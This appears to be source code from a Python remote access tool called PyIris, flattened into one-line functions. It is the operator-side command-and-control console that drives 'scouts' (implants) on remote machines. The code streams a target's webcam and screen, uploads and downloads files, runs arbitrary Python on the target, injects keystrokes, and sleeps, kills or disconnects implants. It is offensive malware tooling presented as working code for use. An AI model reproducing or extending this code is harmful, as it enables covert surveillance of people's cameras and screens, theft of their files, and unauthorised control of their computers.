def main(scout_id): try: slp_scout_id = scout_id.split(' ', 2)[1] sleep_dur = scout_id.split(' ', 2)[2] if slp_scout_id == 'all': for i in list(config.scout_database.keys()): try: print(config.inf + 'Sleeping scout of ID : ' + i) send_all.main(config.scout_database[i][0], 'sleep ' + sleep_dur) data = recv_all.main(config.scout_database[i][0]) print(data) del (config.scout_database[i]) except socket.error: print(config.neg + 'Scout is dead, removing from database...') del (config.scout_database[i]) else: send_all.main(config.scout_database[slp_scout_id][0], 'sleep ' + sleep_dur) data = recv_all.main(config.scout_database[slp_scout_id][0]) print(data) del (config.scout_database[slp_scout_id]) except KeyError: print(config.neg + 'Please enter a valid scout ID') return except IndexError: print(config.neg + 'Please enter valid arguments') except socket.error: print(config.neg + 'Scout is dead, removing from database...') del (config.scout_database[scout_id])
def main(scout_id): try: scout_id = scout_id.split(' ', 1)[1] if scout_id == 'all': for i in list(config.scout_database.keys()): try: print(config.inf + 'Pinging scout of ID : ' + i) send_all.main(config.scout_database[i][0], 'ping') data = recv_all.main(config.scout_database[i][0]) if not data: raise socket.error print(data) except socket.error: print(config.neg + 'Scout is dead, removing from database...') del (config.scout_database[i]) else: send_all.main(config.scout_database[scout_id][0], 'ping') data = recv_all.main(config.scout_database[scout_id][0]) print(data) except (IndexError, KeyError): print(config.neg + 'Please enter a valid scout ID') return except socket.error: print(config.neg + 'Scout is dead, removing from database...') del (config.scout_database[scout_id])
def main(scout_id): try: send_all.main(config.scout_database[scout_id][0], 'ping') data = recv_all.main(config.scout_database[scout_id][0]) print(data) return True except socket.error: print(config.neg + 'Scout is dead, removing from database...') del (config.scout_database[scout_id]) return False
def main(sock, filepath): try: filepath = filepath.split(' ', 1)[1] print(config.inf + 'Reading file...') with open(filepath, 'rb') as f: data = f.read() print(config.inf + 'Sending file data to scout...') send_all.main( sock, 'upload ' + basename(filepath) + ' ' + b64encode(data).decode()) response = recv_all.main(sock) print(response) except IOError: print(config.neg + 'File does not exist, cannot upload') except IndexError: print(config.neg + 'Please supply valid arguments for the command you are running') except Exception as e: print(config.neg + 'Error while uploading file : ' + str(e))
def main(sock): print(config.inf + 'Streaming clients webcam, press "q" in the live stream window to exit') message = recv_all.main(sock) if message != '[+]Successfully opened camera!': print(message) return print(message) while True: data = recv_all.main(sock) if type(data) == str: print(data) return else: frame = pickle.loads(data) cv2.imshow('Live stream', frame) if cv2.waitKey(1) & 0xFF == ord('q'): send_all.main(sock, "1") cv2.destroyAllWindows() print(recv_all.main(sock)) break send_all.main(sock, "0")
def main(): try: confirm_exit = input('\n' + config.pro + 'Are you sure you want to exit[y/n] : ') if confirm_exit == 'y': print(config.inf + 'User requested shutdown...') if config.listener_database: print(config.lod + 'Killing all active listeners') print(config.inf + 'Sent kill message to all listeners...') print(config.inf + 'Waiting for response...') config.listener_database = {} while threading.active_count() > 1: continue print(config.pos + 'Done') if config.scout_database: print(config.lod + 'Disconnecting all scouts') for i in config.scout_database: try: send_all.main(config.scout_database[i][0], 'disconnect') config.scout_database[i][0].settimeout(5) buffer_out_reply = recv_all.main(config.scout_database[i][0]) config.scout_database[i][0].close() print(config.pos + 'Closed connection to scout of ID : ' + i) except (socket.error, socket.timeout): print(config.neg + 'Could not close connection to scout of ID : ' + i) pass print(config.pos + 'Done') print(config.pos + 'Exiting...') os._exit(1) else: pass except EOFError: try: time.sleep(2) quit() except KeyboardInterrupt: quit() except KeyboardInterrupt: quit()
def main(scout_id): readline.parse_and_bind('tab: self-insert') try: scout_id = scout_id.split(' ', 1)[1] scout_prompt = config.scout_database[scout_id][ 1] + ':' + config.scout_database[scout_id][2] print(config.pos + 'Bridged to : ' + scout_id) except (IndexError, KeyError): print(config.neg + 'Please enter a valid scout ID') return while True: try: prompt = input('\x1b[1m\x1b[37mPyIris (\x1b[0m\x1b[1m\x1b[31m' + 'Scout\x1b[0m' + '\x1b[1m\x1b[37m@\x1b[0m\x1b[1m\x1b[31m' + scout_prompt + '\x1b[0m\x1b[1m\x1b[37m) > \x1b[0m').strip() command = prompt.split(' ', 1)[0].lower() if command == 'back': print(config.inf + 'Returning to scout interface...') return elif command == 'clear': clear.main() elif command == 'disconnect': print(send_and_recv.main(prompt, scout_id)) del (config.scout_database[scout_id]) print(config.inf + 'Returning...') return elif command == 'kill': print(send_and_recv.main(prompt, scout_id)) del (config.scout_database[scout_id]) print(config.inf + 'Returning...') return elif command in ('!', 'local'): local.main(prompt) elif command == 'main': print(config.inf + 'Returning to scout interface...') return 'home' elif command == 'python': python.main() elif command == 'quit': quit.main() elif command == 'sleep': data = send_and_recv.main(prompt, scout_id) print(data) if data.startswith('[*]'): del (config.scout_database[scout_id]) print(config.inf + 'Returning...') return elif command == 'download': send_all.main(config.scout_database[scout_id][0], prompt) download.main(config.scout_database[scout_id][0]) elif command == 'upload': upload.main(config.scout_database[scout_id][0], prompt) elif command == 'screen': send_all.main(config.scout_database[scout_id][0], command) screen.main(config.scout_database[scout_id][0]) elif command == 'webcam': send_all.main(config.scout_database[scout_id][0], command) webcam.main(config.scout_database[scout_id][0]) elif command == 'ping': alive_bool = ping.main(scout_id) if not alive_bool: print(config.inf + 'Returning...') return elif command == 'exec_py_script': data = 'exec_py ' + python_execute_editor.main() print(config.inf + 'Attempting to run on scout...') print(send_and_recv.main(data, scout_id)) elif command == 'exec_py_file': python_execute_file.main(prompt, scout_id) elif command == 'inj_valid': print('\n' + config.inf + 'All valid keys that can be injected : \n') formatted = grid_format.main(valid_keys, 5) for i in formatted: print(' ' + ''.join(i)) print('\n') elif not command: pass else: send_all.main(config.scout_database[scout_id][0], prompt) data = recv_all.main(config.scout_database[scout_id][0]) print(data) except EOFError: try: time.sleep(2) except KeyboardInterrupt: quit.main() except KeyboardInterrupt: quit.main() except (socket.error, socket.timeout): print(config.neg + 'Scout has unexpectedly died, removing from database...') del (config.scout_database[scout_id]) return except IndexError: print( config.neg + 'Please supply valid arguments for the command you are running' )
def main(data, scout_id): send_all.main(config.scout_database[scout_id][0], data) data = recv_all.main(config.scout_database[scout_id][0]) return data